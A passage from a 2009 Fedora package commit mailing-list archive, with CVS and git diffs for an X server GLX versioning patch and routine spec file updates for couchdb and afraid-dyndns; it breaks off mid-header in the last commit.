 	    ptr = pGlxScreen->GLXextensions;
diff --git a/glx/glxdri2.c b/glx/glxdri2.c
index ed7fb4c..ed7dc80 100644
--- a/glx/glxdri2.c
+++ b/glx/glxdri2.c
@@ -685,6 +685,18 @@ __glXDRIscreenProbe(ScreenPtr pScreen)
 				       screen->base.GLXextensions);
     }
 
+    /* We're going to assume (perhaps incorrectly?) that all DRI2-enabled
+     * drivers support the required extensions for GLX 1.4.  The extensions
+     * we're assuming are:
+     *
+     *    - GLX_SGI_make_current_read (1.3)
+     *    - GLX_SGIX_fbconfig (1.3)
+     *    - GLX_SGIX_pbuffer (1.3)
+     *    - GLX_ARB_multisample (1.4)
+     */
+    screen->base.GLXmajor = 1;
+    screen->base.GLXminor = 4;
+
     screen->enterVT = pScrn->EnterVT;
     pScrn->EnterVT = glxDRIEnterVT; 
     screen->leaveVT = pScrn->LeaveVT;
diff --git a/glx/glxext.c b/glx/glxext.c
index 19d70d4..9f9c0ed 100644
--- a/glx/glxext.c
+++ b/glx/glxext.c
@@ -360,12 +360,18 @@ void GlxExtensionInit(void)
 	pScreen = screenInfo.screens[i];
 
 	for (p = __glXProviderStack; p != NULL; p = p->next) {
-	    if (p->screenProbe(pScreen) != NULL) {
+	    __GLXscreen *glxScreen;
+
+	    glxScreen = p->screenProbe(pScreen);
+	    if (glxScreen != NULL) {
+	        if (glxScreen->GLXminor < glxMinorVersion)
+		    glxMinorVersion = glxScreen->GLXminor;
 		LogMessage(X_INFO,
 			   "GLX: Initialized %s GL provider for screen %d\n",
 			   p->name, i);
 		break;
 	    }
+
 	}
 
 	if (!p)
diff --git a/glx/glxscreens.c b/glx/glxscreens.c
index 7d29d31..674e2c6 100644
--- a/glx/glxscreens.c
+++ b/glx/glxscreens.c
@@ -42,6 +42,7 @@
 #include "glxserver.h"
 #include "glxutil.h"
 #include "glxext.h"
+#include "protocol-versions.h"
 
 static int glxScreenPrivateKeyIndex;
 static DevPrivateKey glxScreenPrivateKey = &glxScreenPrivateKeyIndex;
@@ -162,7 +163,8 @@ static const char GLServerExtensions[] =
 ** supported across all screens in a multi-screen system.
 */
 static char GLXServerVendorName[] = "SGI";
-static char GLXServerVersion[] = "1.2";
+unsigned glxMajorVersion = SERVER_GLX_MAJOR_VERSION;
+unsigned glxMinorVersion = SERVER_GLX_MINOR_VERSION;
 static char GLXServerExtensions[] =
 			"GLX_ARB_multisample "
 			"GLX_EXT_visual_info "
@@ -378,9 +380,17 @@ void __glXScreenInit(__GLXscreen *pGlxScreen, ScreenPtr pScreen)
     pGlxScreen->pScreen       = pScreen;
     pGlxScreen->GLextensions  = xstrdup(GLServerExtensions);
     pGlxScreen->GLXvendor     = xstrdup(GLXServerVendorName);
-    pGlxScreen->GLXversion    = xstrdup(GLXServerVersion);
     pGlxScreen->GLXextensions = xstrdup(GLXServerExtensions);
 
+    /* All GLX providers must support all of the functionality required for at
+     * least GLX 1.2.  If the provider supports a higher version, the GLXminor
+     * version can be changed in the provider's screen-probe routine.  For
+     * most providers, the screen-probe routine is the caller of this
+     * function.
+     */
+    pGlxScreen->GLXmajor      = 1;
+    pGlxScreen->GLXminor      = 2;
+
     pGlxScreen->CloseScreen = pScreen->CloseScreen;
     pScreen->CloseScreen = glxCloseScreen;
     pGlxScreen->DestroyWindow = pScreen->DestroyWindow;
@@ -454,7 +464,6 @@ void __glXScreenInit(__GLXscreen *pGlxScreen, ScreenPtr pScreen)
 void __glXScreenDestroy(__GLXscreen *screen)
 {
     xfree(screen->GLXvendor);
-    xfree(screen->GLXversion);
     xfree(screen->GLXextensions);
     xfree(screen->GLextensions);
 }
diff --git a/glx/glxscreens.h b/glx/glxscreens.h
index 3c1bdd4..bff4363 100644
--- a/glx/glxscreens.h
+++ b/glx/glxscreens.h
@@ -161,6 +161,17 @@ struct __GLXscreen {
     char *GLXversion;
     char *GLXextensions;
 
+    /**
+     * \name GLX version supported by this screen.
+     *
+     * Since the GLX version advertised by the server is for the whole server,
+     * the GLX protocol code uses the minimum version supported on all screens.
+     */
+    /*@{*/
+    unsigned GLXmajor;
+    unsigned GLXminor;
+    /*@}*/
+
     Bool (*CloseScreen)(int index, ScreenPtr pScreen);
     Bool (*DestroyWindow)(WindowPtr pWindow);
 };
diff --git a/glx/glxserver.h b/glx/glxserver.h
index 4aa8c2e..80f1b28 100644
--- a/glx/glxserver.h
+++ b/glx/glxserver.h
@@ -248,4 +248,7 @@ extern int __glXImageSize(GLenum format, GLenum type,
     GLint imageHeight, GLint rowLength, GLint skipImages, GLint skipRows,
     GLint alignment);
 
+extern unsigned glxMajorVersion;
+extern unsigned glxMinorVersion;
+
 #endif /* !__GLX_server_h__ */
diff --git a/glx/indirect_texture_compression.c b/glx/indirect_texture_compression.c
index 25c6eb3..5f44d7b 100644
--- a/glx/indirect_texture_compression.c
+++ b/glx/indirect_texture_compression.c
@@ -52,7 +52,7 @@ int __glXDisp_GetCompressedTexImageARB(struct __GLXclientStateRec *cl, GLbyte *p
 	const GLenum target = *(GLenum *)(pc + 0);
 	const GLint  level  = *(GLint  *)(pc + 4);
 	GLint compsize = 0;
-	char *answer, answerBuffer[200];
+	char *answer = NULL, answerBuffer[200];
 
 	CALL_GetTexLevelParameteriv(GET_DISPATCH(), (target, level, GL_TEXTURE_COMPRESSED_IMAGE_SIZE, &compsize));
 
@@ -92,7 +92,7 @@ int __glXDispSwap_GetCompressedTexImageARB(struct __GLXclientStateRec *cl, GLbyt
 	const GLenum target = (GLenum) bswap_32( *(int *)(pc + 0) );
 	const GLint  level =  (GLint ) bswap_32( *(int *)(pc + 4) );
 	GLint compsize = 0;
-	char *answer, answerBuffer[200];
+	char *answer = NULL, answerBuffer[200];
 
 	CALL_GetTexLevelParameteriv(GET_DISPATCH(), (target, level, GL_TEXTURE_COMPRESSED_IMAGE_SIZE, &compsize));
 
diff --git a/include/protocol-versions.h b/include/protocol-versions.h
index da9770c..d688c66 100644
--- a/include/protocol-versions.h
+++ b/include/protocol-versions.h
@@ -61,7 +61,7 @@
 
 /* GLX */
 #define SERVER_GLX_MAJOR_VERSION		1
-#define SERVER_GLX_MINOR_VERSION		2
+#define SERVER_GLX_MINOR_VERSION		4
 
 /* Xinerama */
 #define SERVER_PANORAMIX_MAJOR_VERSION          1
-- 
1.6.5.rc2



Index: xorg-x11-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/xorg-x11-server.spec,v
retrieving revision 1.494
retrieving revision 1.495
diff -u -p -r1.494 -r1.495
--- xorg-x11-server.spec	9 Oct 2009 00:15:38 -0000	1.494
+++ xorg-x11-server.spec	16 Oct 2009 00:45:49 -0000	1.495
@@ -19,7 +19,7 @@
 Summary:   X.Org X11 X server
 Name:      xorg-x11-server
 Version:   1.7.0
-Release:   3%{dist}
+Release:   4%{dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X
@@ -75,6 +75,7 @@ Patch6044: xserver-1.6.99-hush-prereleas
 Patch6045: xserver-1.7.0-randr-gamma-restore.patch
 
 Patch6046: xserver-1.7.0-exa-looping-forever-is-evil.patch
+Patch6047: xserver-1.7.0-glx-versioning.patch
 
 %define moduledir	%{_libdir}/xorg/modules
 %define drimoduledir	%{_libdir}/dri
@@ -503,6 +504,9 @@ rm -rf $RPM_BUILD_ROOT
 %{xserver_source_dir}
 
 %changelog
+* Fri Oct 16 2009 Dave Airlie <airlied at redhat.com> 1.7.0-4
+- update GLX for 1.4 version reporting
+
 * Fri Oct 09 2009 Ben Skeggs <bskeggs at redhat.com> 1.7.0-3
 - xserver-1.7.0-exa-looping-forever-is-evil.patch: Fix rendercheck hang
 



From allisson at fedoraproject.org  Fri Oct 16 01:00:43 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Fri, 16 Oct 2009 01:00:43 +0000 (UTC)
Subject: rpms/couchdb/EL-5 .cvsignore, 1.4, 1.5 couchdb.spec, 1.5,
	1.6 import.log, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091016010043.C79F811C0265@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/couchdb/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16938/EL-5

Modified Files:
	.cvsignore couchdb.spec import.log sources 
Log Message:

- Update to 0.10.0.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/EL-5/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	31 Jul 2009 02:38:29 -0000	1.4
+++ .cvsignore	16 Oct 2009 01:00:41 -0000	1.5
@@ -1 +1 @@
-apache-couchdb-0.9.1.tar.gz
+apache-couchdb-0.10.0.tar.gz


Index: couchdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/EL-5/couchdb.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- couchdb.spec	3 Oct 2009 19:11:09 -0000	1.5
+++ couchdb.spec	16 Oct 2009 01:00:41 -0000	1.6
@@ -3,23 +3,24 @@
 %define couchdb_group couchdb
 %define couchdb_home %{_localstatedir}/lib/couchdb
 Name:           couchdb
-Version:        0.9.1
-Release:        2%{?dist}
+Version:        0.10.0
+Release:        1%{?dist}
 Summary:        A document database server, accessible via a RESTful JSON API
 
 Group:          Applications/Databases
 License:        ASL 2.0
-URL:            http://incubator.apache.org/couchdb/
+URL:            http://couchdb.apache.org/
 Source0:        http://www.apache.org/dist/%{name}/%{version}/%{tarname}-%{version}.tar.gz
 Source1:        %{name}.init
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  erlang 
+BuildRequires:  erlang
 BuildRequires:  libicu-devel 
 BuildRequires:  js-devel 
 BuildRequires:  help2man
 #BuildRequires:  libcurl-devel
 BuildRequires:  curl-devel
+
 Requires:       erlang 
 #Requires:       %{_bindir}/icu-config
 Requires:       libicu-devel
@@ -43,8 +44,8 @@ JavaScript acting as the default view de
 %prep
 %setup -q -n %{tarname}-%{version}
 # Patch pid location
-sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
-bin/couchdb.tpl.in
+#sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
+#bin/couchdb.tpl.in
 
 
 %build
@@ -68,6 +69,12 @@ mkdir -p $RPM_BUILD_ROOT%{_localstatedir
 # Create /var/lib/couchdb
 mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/lib/couchdb
 
+# Create /etc/couchdb/default.d
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/couchdb/default.d
+
+# Create /etc/couchdb/local.d
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/couchdb/local.d
+
 ## Use /etc/sysconfig instead of /etc/default
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
 mv $RPM_BUILD_ROOT%{_sysconfdir}/default/couchdb \
@@ -113,6 +120,8 @@ fi
 %defattr(-,root,root,-)
 %doc AUTHORS BUGS CHANGES LICENSE NEWS NOTICE README THANKS
 %dir %{_sysconfdir}/couchdb
+%dir %{_sysconfdir}/couchdb/local.d
+%dir %{_sysconfdir}/couchdb/default.d
 %config(noreplace) %attr(0644, %{couchdb_user}, root) %{_sysconfdir}/couchdb/default.ini
 %config(noreplace) %attr(0644, %{couchdb_user}, root) %{_sysconfdir}/couchdb/local.ini
 #%config(noreplace) %{_sysconfdir}/default/couchdb
@@ -129,6 +138,9 @@ fi
 %dir %attr(0755, %{couchdb_user}, root) %{_localstatedir}/lib/couchdb
 
 %changelog
+* Thu Oct 15 2009 Allisson Azevedo <allisson at gmail.com> 0.10.0-1
+- Update to 0.10.0.
+
 * Sun Oct 04 2009 Rahul Sundaram <sundaram at fedoraproject.org> 0.9.1-2
 - Change url. Fixes rhbz#525949
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/EL-5/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	31 Jul 2009 02:38:29 -0000	1.5
+++ import.log	16 Oct 2009 01:00:41 -0000	1.6
@@ -3,3 +3,4 @@ couchdb-0_8_1-4_fc10:EL-5:couchdb-0.8.1-
 couchdb-0_9_0-1_fc10:EL-5:couchdb-0.9.0-1.fc10.src.rpm:1241662322
 couchdb-0_9_0-2_fc10:EL-5:couchdb-0.9.0-2.fc10.src.rpm:1241744775
 couchdb-0_9_1-1_fc11:EL-5:couchdb-0.9.1-1.fc11.src.rpm:1249007818
+couchdb-0_10_0-1_fc11:EL-5:couchdb-0.10.0-1.fc11.src.rpm:1255654781


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	31 Jul 2009 02:38:29 -0000	1.4
+++ sources	16 Oct 2009 01:00:41 -0000	1.5
@@ -1 +1 @@
-9583efae5adfb3f9043e970fef825561  apache-couchdb-0.9.1.tar.gz
+227886b5ecbb6bcbbdc538aac4592b0e  apache-couchdb-0.10.0.tar.gz



From ekkis at fedoraproject.org  Fri Oct 16 01:09:32 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Fri, 16 Oct 2009 01:09:32 +0000 (UTC)
Subject: rpms/afraid-dyndns afraid-dyndns.spec,1.4,1.5
Message-ID: <20091016010932.0EAC011C00DB@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21261

Modified Files:
	afraid-dyndns.spec 
Log Message:
modified for OSX support



Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/afraid-dyndns.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- afraid-dyndns.spec	4 Oct 2009 01:14:32 -0000	1.4
+++ afraid-dyndns.spec	16 Oct 2009 01:09:31 -0000	1.5
@@ -1,11 +1,11 @@
 Name:      afraid-dyndns
-Version:   1.0
-Release:   5%{?dist}
+Version:   1.1
+Release:   1%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
 URL:       http://perl.arix.com
-Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
+Source0:   ftp://arix.com/afraid-dyndns-%{version}.tar.gz
 Patch:    %{name}.F10.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch: noarch
@@ -26,7 +26,7 @@ DNS entries of all the domains of the gi
 
 %install
 rm -rf %{buildroot}
-%{__make} DESTDIR=%{buildroot} install
+./install %{buildroot}
 
 %clean
 rm -rf %{buildroot}
@@ -41,6 +41,9 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Thu Oct 15 2009 Erick Calder <rpm at arix.com> - 1.1-1
+- modifications for OSX support
+
 * Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-5
 - fix to application of patch, which breaks with the error 'missing header for unified diff at line 5 of patch
 



From ekkis at fedoraproject.org  Fri Oct 16 01:27:23 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Fri, 16 Oct 2009 01:27:23 +0000 (UTC)
Subject: rpms/afraid-dyndns/devel afraid-dyndns.F10.patch, NONE,
	1.1 .cvsignore, 
	1.2, 1.3 afraid-dyndns.spec, 1.1, 1.2 import.log, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091016012723.7128D11C00DB@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29056/devel

Modified Files:
	.cvsignore afraid-dyndns.spec import.log sources 
Added Files:
	afraid-dyndns.F10.patch 
Log Message:
modifications for OSX support


afraid-dyndns.F10.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE afraid-dyndns.F10.patch ---
Index: Makefile
===================================================================
--- Makefile	(revision 2470)
+++ Makefile	(revision 2471)
@@ -1,6 +1,6 @@
 install:
 	install -Dpm 0755 afraid-dyndns ${DESTDIR}/usr/bin/afraid-dyndns
-	install -DCm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
-	install -DCm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
+	install -Dpm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
+	install -Dpm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
 	install -dpm 0755 ${DESTDIR}/var/cache/afraid-dyndns
 	touch ${DESTDIR}/var/cache/afraid-dyndns/IP


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Oct 2009 21:21:31 -0000	1.2
+++ .cvsignore	16 Oct 2009 01:27:21 -0000	1.3
@@ -1 +1 @@
-afraid-dyndns-1.0.tar.gz
+afraid-dyndns-1.1.tar.gz


Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/devel/afraid-dyndns.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- afraid-dyndns.spec	1 Oct 2009 21:21:31 -0000	1.1
+++ afraid-dyndns.spec	16 Oct 2009 01:27:21 -0000	1.2
@@ -1,11 +1,12 @@
 Name:      afraid-dyndns
-Version:   1.0
-Release:   2%{?dist}
+Version:   1.1
+Release:   1%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
 URL:       http://perl.arix.com
-Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
+Source0:   ftp://arix.com/afraid-dyndns-%{version}.tar.gz
+Patch:    %{name}.F10.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch: noarch
 
@@ -17,12 +18,15 @@ DNS entries of all the domains of the gi
 
 %prep
 %setup -q
+%if 0%{?fedora} <= 10
+%patch -p0 -b .orig
+%endif
 
 %build
 
 %install
 rm -rf %{buildroot}
-%{__make} DESTDIR=%{buildroot} install
+./install %{buildroot}
 
 %clean
 rm -rf %{buildroot}
@@ -37,6 +41,18 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Thu Oct 15 2009 Erick Calder <rpm at arix.com> - 1.1-1
+- modifications for OSX support
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-5
+- fix to application of patch, which breaks with the error 'missing header for unified diff at line 5 of patch
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-4
+- fixed broken reference to patch
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-3
+- added patch to fix issue with Makefile for F10
+
 * Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
 - tarball extension changed
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	1 Oct 2009 21:21:31 -0000	1.1
+++ import.log	16 Oct 2009 01:27:21 -0000	1.2
@@ -1 +1,2 @@
 afraid-dyndns-1_0-2_fc11:HEAD:afraid-dyndns-1.0-2.fc11.src.rpm:1254432078
+afraid-dyndns-1_1-1_fc11:HEAD:afraid-dyndns-1.1-1.fc11.src.rpm:1255656409


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Oct 2009 21:21:32 -0000	1.2
+++ sources	16 Oct 2009 01:27:21 -0000	1.3
@@ -1 +1 @@
-b57fe13f683f36b7daa5b035437370a9  afraid-dyndns-1.0.tar.gz
+38ca9be1d2ab409fe472524df53c8806  afraid-dyndns-1.1.tar.gz



From ekkis at fedoraproject.org  Fri Oct 16 01:28:49 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Fri, 16 Oct 2009 01:28:49 +0000 (UTC)
Subject: rpms/afraid-dyndns/F-10 .cvsignore, 1.2, 1.3 afraid-dyndns.spec, 1.3,
	1.4 import.log, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091016012849.38BE511C00DB@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29469/F-10

Modified Files:
	.cvsignore afraid-dyndns.spec import.log sources 
Log Message:
modifications for OSX support



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Oct 2009 21:22:34 -0000	1.2
+++ .cvsignore	16 Oct 2009 01:28:48 -0000	1.3
@@ -1 +1 @@
-afraid-dyndns-1.0.tar.gz
+afraid-dyndns-1.1.tar.gz


Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/afraid-dyndns.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- afraid-dyndns.spec	4 Oct 2009 01:15:19 -0000	1.3
+++ afraid-dyndns.spec	16 Oct 2009 01:28:48 -0000	1.4
@@ -1,11 +1,11 @@
 Name:      afraid-dyndns
-Version:   1.0
-Release:   5%{?dist}
+Version:   1.1
+Release:   1%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
 URL:       http://perl.arix.com
-Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
+Source0:   ftp://arix.com/afraid-dyndns-%{version}.tar.gz
 Patch:    %{name}.F10.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch: noarch
@@ -26,7 +26,7 @@ DNS entries of all the domains of the gi
 
 %install
 rm -rf %{buildroot}
-%{__make} DESTDIR=%{buildroot} install
+./install %{buildroot}
 
 %clean
 rm -rf %{buildroot}
@@ -41,6 +41,9 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Thu Oct 15 2009 Erick Calder <rpm at arix.com> - 1.1-1
+- modifications for OSX support
+
 * Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-5
 - fix to application of patch, which breaks with the error 'missing header for unified diff at line 5 of patch
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	4 Oct 2009 01:15:19 -0000	1.3
+++ import.log	16 Oct 2009 01:28:48 -0000	1.4
@@ -1,3 +1,4 @@
 afraid-dyndns-1_0-2_fc11:F-10:afraid-dyndns-1.0-2.fc11.src.rpm:1254432143
 afraid-dyndns-1_0-4_fc11:F-10:afraid-dyndns-1.0-4.fc11.src.rpm:1254615025
 afraid-dyndns-1_0-5_fc11:F-10:afraid-dyndns-1.0-5.fc11.src.rpm:1254618901
+afraid-dyndns-1_1-1_fc11:F-10:afraid-dyndns-1.1-1.fc11.src.rpm:1255656488


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	4 Oct 2009 00:11:14 -0000	1.3
+++ sources	16 Oct 2009 01:28:48 -0000	1.4
@@ -1 +1 @@
-c48794e2462a09dfa2550f19413eb194  afraid-dyndns-1.0.tar.gz
+38ca9be1d2ab409fe472524df53c8806  afraid-dyndns-1.1.tar.gz



From ekkis at fedoraproject.org  Fri Oct 16 01:29:27 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Fri, 16 Oct 2009 01:29:27 +0000 (UTC)
Subject: rpms/afraid-dyndns/F-11 afraid-dyndns.F10.patch, NONE,
	1.1 .cvsignore, 
	1.2, 1.3 afraid-dyndns.spec, 1.1, 1.2 import.log, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091016012927.4C2F911C00DB@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29866/F-11

Modified Files:
	.cvsignore afraid-dyndns.spec import.log sources 
Added Files:
	afraid-dyndns.F10.patch 
Log Message:
modified for OSX support


afraid-dyndns.F10.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE afraid-dyndns.F10.patch ---
Index: Makefile
===================================================================
--- Makefile	(revision 2470)
+++ Makefile	(revision 2471)
@@ -1,6 +1,6 @@
 install:
 	install -Dpm 0755 afraid-dyndns ${DESTDIR}/usr/bin/afraid-dyndns
-	install -DCm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
-	install -DCm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
+	install -Dpm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
+	install -Dpm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
 	install -dpm 0755 ${DESTDIR}/var/cache/afraid-dyndns
 	touch ${DESTDIR}/var/cache/afraid-dyndns/IP


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Oct 2009 21:23:13 -0000	1.2
+++ .cvsignore	16 Oct 2009 01:29:26 -0000	1.3
@@ -1 +1 @@
-afraid-dyndns-1.0.tar.gz
+afraid-dyndns-1.1.tar.gz


Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-11/afraid-dyndns.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- afraid-dyndns.spec	1 Oct 2009 21:23:13 -0000	1.1
+++ afraid-dyndns.spec	16 Oct 2009 01:29:26 -0000	1.2
@@ -1,11 +1,12 @@
 Name:      afraid-dyndns
-Version:   1.0
-Release:   2%{?dist}
+Version:   1.1
+Release:   1%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
 URL:       http://perl.arix.com
-Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
+Source0:   ftp://arix.com/afraid-dyndns-%{version}.tar.gz
+Patch:    %{name}.F10.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch: noarch
 
@@ -17,12 +18,15 @@ DNS entries of all the domains of the gi
 
 %prep
 %setup -q
+%if 0%{?fedora} <= 10
+%patch -p0 -b .orig
+%endif
 
 %build
 
 %install
 rm -rf %{buildroot}
-%{__make} DESTDIR=%{buildroot} install
+./install %{buildroot}
 
 %clean
 rm -rf %{buildroot}
@@ -37,6 +41,18 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Thu Oct 15 2009 Erick Calder <rpm at arix.com> - 1.1-1
+- modifications for OSX support
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-5
+- fix to application of patch, which breaks with the error 'missing header for unified diff at line 5 of patch
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-4
+- fixed broken reference to patch
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-3
+- added patch to fix issue with Makefile for F10
+
 * Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
 - tarball extension changed
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	1 Oct 2009 21:23:13 -0000	1.1
+++ import.log	16 Oct 2009 01:29:26 -0000	1.2
@@ -1 +1,2 @@
 afraid-dyndns-1_0-2_fc11:F-11:afraid-dyndns-1.0-2.fc11.src.rpm:1254432182
+afraid-dyndns-1_1-1_fc11:F-11:afraid-dyndns-1.1-1.fc11.src.rpm:1255656545


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Oct 2009 21:23:13 -0000	1.2
+++ sources	16 Oct 2009 01:29:26 -0000	1.3
@@ -1 +1 @@
-b57fe13f683f36b7daa5b035437370a9  afraid-dyndns-1.0.tar.gz
+38ca9be1d2ab409fe472524df53c8806  afraid-dyndns-1.1.tar.gz



From ekkis at fedoraproject.org  Fri Oct 16 01:30:55 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Fri, 16 Oct 2009 01:30:55 +0000 (UTC)
Subject: rpms/afraid-dyndns/F-12 afraid-dyndns.F10.patch, NONE,
	1.1 .cvsignore, 
	1.2, 1.3 afraid-dyndns.spec, 1.1, 1.2 import.log, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091016013055.471AE11C0265@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30444/F-12

Modified Files:
